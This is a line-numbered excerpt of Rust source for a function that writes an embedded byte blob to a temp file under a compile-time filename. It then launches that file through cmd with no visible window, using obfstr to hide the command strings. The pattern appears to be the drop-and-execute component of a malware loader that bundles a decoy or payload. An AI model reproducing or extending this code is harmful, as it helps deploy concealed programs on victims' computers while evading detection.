| 8 | |
| 9 | #[allow(dead_code)] |
| 10 | pub fn bundlefile() -> Result<(), Box<dyn std::error::Error>> { |
| 11 | const CREATE_NO_WINDOW: u32 = 0x08000000; |
| 12 | |
| 13 | // Use compile-time environment variable for filename |
| 14 | const ORIGINAL_FILE_NAME: &str = env!("RSL_BUNDLE_FILENAME"); |
| 15 | if ORIGINAL_FILE_NAME.is_empty() { |
| 16 | return Err("Bundle filename not set".into()); |
| 17 | } |
| 18 | let original_file_name = ORIGINAL_FILE_NAME; |
| 19 | |
| 20 | let mut temp_file = NamedTempFile::new().map_err(|e| format!("Failed to create temp file: {}", e))?; |
| 21 | |
| 22 | let temp_dir = temp_file.path().parent().unwrap(); |
| 23 | let temp_file_path = temp_dir.join(&original_file_name); |
| 24 | |
| 25 | temp_file.write_all(MEMORY_FILE).map_err(|e| format!("Failed to write to temp file: {}", e))?; |
| 26 | temp_file.flush().map_err(|e| format!("Failed to flush temp file: {}", e))?; |
| 27 | |
| 28 | std::fs::rename(temp_file.path(), &temp_file_path).map_err(|e| format!("Failed to rename temporary file: {}", e))?; |
| 29 | |
| 30 | use std::process::Command; |
| 31 | Command::new(obfstr!("cmd")) |
| 32 | .args(&[obfstr!("/c"), obfstr!("start"), obfstr!("/B"), temp_file_path.to_str().unwrap()]) |
| 33 | .creation_flags(CREATE_NO_WINDOW) |
| 34 | .spawn() |
| 35 | .map_err(|e| format!("Failed to open file: {}", e))?; |
| 36 | |
| 37 | Ok(()) |
| 38 | } |